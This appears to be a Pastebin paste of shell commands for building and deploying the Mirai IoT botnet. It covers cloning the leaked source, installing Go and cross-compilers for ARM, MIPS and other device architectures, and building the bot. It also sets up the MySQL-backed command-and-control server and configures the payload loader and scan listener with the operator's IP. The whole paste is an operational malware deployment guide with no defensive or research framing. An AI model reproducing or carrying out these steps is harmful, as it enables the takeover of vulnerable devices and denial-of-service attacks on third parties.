Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Clone Mirai source code
- git clone https://github.com/jgamblin/Mirai-Source-Code
- cd Mirai-Source-Code
- # Update system and install required packages
- dnf update -y
- dnf install epel-release -y
- dnf groupinstall "Development Tools" -y
- dnf install gmp-devel -y
- sudo ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
- dnf install gcc gcc-c++ sudo git -y
- # Install Go (version updated to 1.5 may not work with current Golang, you can update the link as needed)
- cd /tmp
- wget https://go.dev/dl/go1.5.linux-amd64.tar.gz
- tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -f go1.5.linux-amd64.tar.gz
- ln -s /usr/local/go/bin/go /usr/local/bin/go
- ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
- ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
- go version
- # Set up cross-compilers
- mkdir /etc/xcompile && cd /etc/xcompile
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
- wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
- # Extract cross-compilers
- for compiler in *.tar.bz2; do tar -jxf $compiler; done
- rm *.tar.bz2
- # Rename directories
- mv cross-compiler-armv4l armv4l
- mv cross-compiler-i586 i586
- mv cross-compiler-m68k m68k
- mv cross-compiler-mips mips
- mv cross-compiler-mipsel mipsel
- mv cross-compiler-powerpc powerpc
- mv cross-compiler-sh4 sh4
- mv cross-compiler-sparc sparc
- mv cross-compiler-armv6l armv6l
- # Set environment variables
- export PATH=$PATH:/etc/xcompile/armv4l/bin
- export PATH=$PATH:/etc/xcompile/armv6l/bin
- export PATH=$PATH:/etc/xcompile/i586/bin
- export PATH=$PATH:/etc/xcompile/m68k/bin
- export PATH=$PATH:/etc/xcompile/mips/bin
- export PATH=$PATH:/etc/xcompile/mipsel/bin
- export PATH=$PATH:/etc/xcompile/powerpc/bin
- export PATH=$PATH:/etc/xcompile/sh4/bin
- export PATH=$PATH:/etc/xcompile/sparc/bin
- export PATH=$PATH:/usr/local/go/bin
- export GOPATH=$HOME/Documents/go
- # Install Go packages
- go get github.com/go-sql-driver/mysql
- go get github.com/mattn/go-shellwords
- # Build the project
- ./build.sh debug telnet
- # Mirai C&C setup (Database)
- sudo systemctl stop firewalld
- mysql_secure_installation
- # Set up MySQL database
- mysql -u root -p
- create database mirai;
- use mirai;
- # Paste database script from: http://pastebin.com/BsSWnK7i
- # Update CNC credentials in main.go (example: 127.0.0.1:3306)
- service mysql restart
- # Compile and run CNC
- cd /mirai/release
- ./cnc
- # Set up loader
- nano /Mirai-Source-Code/dlr/main.c
- # Update HTTP_SERVER line: #define HTTP_SERVER utils_inet_addr(127,0,0,1)
- cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
- nano /Mirai-Source-Code/loader/src/main.c
- # Add your server IP
- # Build loader
- chmod 777 build.sh
- ./build.sh
- # Update scanListen with your IP and build
- nano scanListen.go
- go build scanListen.go
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement